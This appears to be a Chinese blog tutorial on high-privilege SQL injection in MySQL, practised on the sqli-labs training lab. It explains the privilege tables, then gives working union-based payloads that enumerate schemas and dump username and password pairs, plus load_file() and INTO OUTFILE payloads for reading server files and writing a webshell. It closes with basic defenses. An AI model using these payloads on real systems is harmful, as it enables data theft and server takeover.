系列2:5、sql注入之高权限注入

sql注入之高权限注入

在数据库中区分有数据库系统用户与数据库**普通用户,**二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。
网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站存在一个数据库的时候.root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作
在这里插入图片描述

mysql权限介绍

由前边可知mysql数据库中主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。

1、mysql中存在4个控制权限的表

分别为user表,db表,tables_priv表,columns_priv表。(权限由高到低)

User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实
例,如果有全局权限则意味着对所有数据库都有此权限
Db表。存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库
Tables_priv表。存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表
Columns_priv表,存放列级别的权限,决定了来自哪些主机的哪些用户可以访间数据库表的这个字段
Procs_priv表:存放存储过程和函数级别的权限

2、MySQL权限级别:

全局性的管理权限:作用于整个MySQL实例级别
数据库级别的权限:作用于某个指定的数据库上或者所有的数据库上
数据库对象级别的权限。作用于指定的数据库对象上(表、视图等)或者所有的数据库对象

3、mysql权限表的验证过程为:


先从user表中的Host ,User ,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。
通过身份认证后,进行权限分配,
按照user. db. tables_priv. columns_priv的顺序进行验证。
即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
将不再检查db,tables_priv ,columns_priv:如果为N,则到db表中检查此用户对应的具体数据库,
并得到db中为Y的权限,如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。

4、相关操作

(1)查看mysql有哪些用户:

 select user, host from mysql.user;

(2)查看用户对应权限

select * from user where user='root' and host='localhost'\G;
#所有权限都是Y,就是什么权限都有

(3)创建mysql用户
有两种方式创建MySQL授权用户
执行create user/grant命令(推荐方式)或者通过insert语句直接操作MySQL系统权限表

CREATE USER 'test1'@’localhost’ IDENTIFIED BY '12345;

(4)只提供id查询权限

grant select(id) on test.temp to test1@'localhost" identified by '123456';

(5)把普通用户变成管理员

GRANT ALL PRIVILEGES ON*.*TO 'test1'@’localhost’WITH GRANT OPTION;

(6)删除用户

drop user test1@'localhost " ;

5、实例(以sqllabs第二关为例)

因为此时查看当前数据库用户权限为root,所以可以进行下边的操作

在这里插入图片描述
(2)查看所有数据库
在这里插入图片描述

union select 1,group_concat(schema_name),3 from information_schema.schemata

(3)进而查看某一数据库下的表名
在这里插入图片描述

# 查找security库下面所有的表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
# . 表示下一级
# group_concat函数,将结果合并在一起

(4)查看表中的字段名在这里插入图片描述

#查找users表中的字段
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

(5)查看相关字段的数据
在这里插入图片描述

#上一张图观察到username和password,所以查找这两个字段
union select 1,2,(select group_concat(username,0x3a,password) from users)
#0x3a代表:号的16进制

文件读写

基本要求:是root用户最高权限

1、文件读写注入的原理

就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

2、文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
secure_file_priv选项

linux
cat /etc/my.cnf
	[mysqld]
	secure_file_priv=
win
my.ini
	[mysqld]
	secure_file_priv=

show global variables like '%secure%’查看mysql全局变量的配置
(1)secure_file_priv=
代表对文件读写没有限制
(2)secure_file_priv=NULL
代表不能进行文件读写
(3)secure_file_priv=d :/phpstudy /mysql/data
代表只能对该路径下文件进行读写

3、知道网站绝对路径

Windows常见:

Phpstudy	phpstudy/ww
			phpstudy/ PHPTutorial/www
Xampp		xampp/htdocs
wamp		wamp/wwwl
Appser		appser/www

Linux常见:

/var/mysql/data    /var/www/ html

路径获取常见方式:
报错显示,遗留文件,漏洞报错,平台配置文件等

4、实例(sqllabs第二关为例)

(1)读取文件
在d盘下新建d.txt文档,写入内容
在这里插入图片描述

union select 1,load_file('d:/d.txt'),3
#load_file()读取文件函数
#后面的路径可以是单引号,Ox,char转换的字符。注意:路径中斜杠是/不是\。
#一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置...

(2)写入文件

在这里插入图片描述

union select 1,'mc',3 into outfile 'd:d.txt' --+
#--+ 将后边的进行注释,使不得运行
#使用函数: Into Outfile(能写入多行,按格式输出)和into Dumpfile(只能写入一行且没有输出格式)
#outfile后面不能接Ox开头或者char转换以后的路径,只能是单引号路径

基础防御

1、魔术引号

魔术引号(Magic Quote)是一个自动将进入PHP脚本的数据进行转义的过程。最好在编码时不要转义而在运行时根据需要而转义。

在php.ini文件内找到

magic_quotes_gpc = on开启
将其改为
magic_quotes_gpC = 0ff关闭

在magic_quotes_gpc=On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线()与NUL(NULL字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。

2、内置函数

is_int()等
addslashes()
mysql_real_escape_string0
mysql_escape_string0

3、自定义关键字

str_replace()函数
例:把字符串"Hello world!”中的字符"world”替换为"Shanghai"":

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
一、什么是XSS攻击 XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。 二、XSS漏洞的危害 (1)网络钓鱼,包括盗取各类用户账号; (2)窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作; (3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等; (4)强制弹出广告页面、刷流量等; (5)网页挂马; (6)进行恶意操作,例如任意篡改页面信息、删除文章等; (7)进行大量的客户端攻击,如DDoS攻击; (8)获取客户端信息,例如用户的浏览历史、真实IP、开放端口等; (9)控制受害者机器向其他网站发起攻击; (10)结合其他漏洞,如CSRF漏洞,实施进一步作恶; (11)提升用户权限,包括进一步渗透网站; (12)传播跨站脚本蠕虫等; 三、过滤器配置 web.xml配置 XssFilter com.xxx.Filter.XssFilter XssFilter /*

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值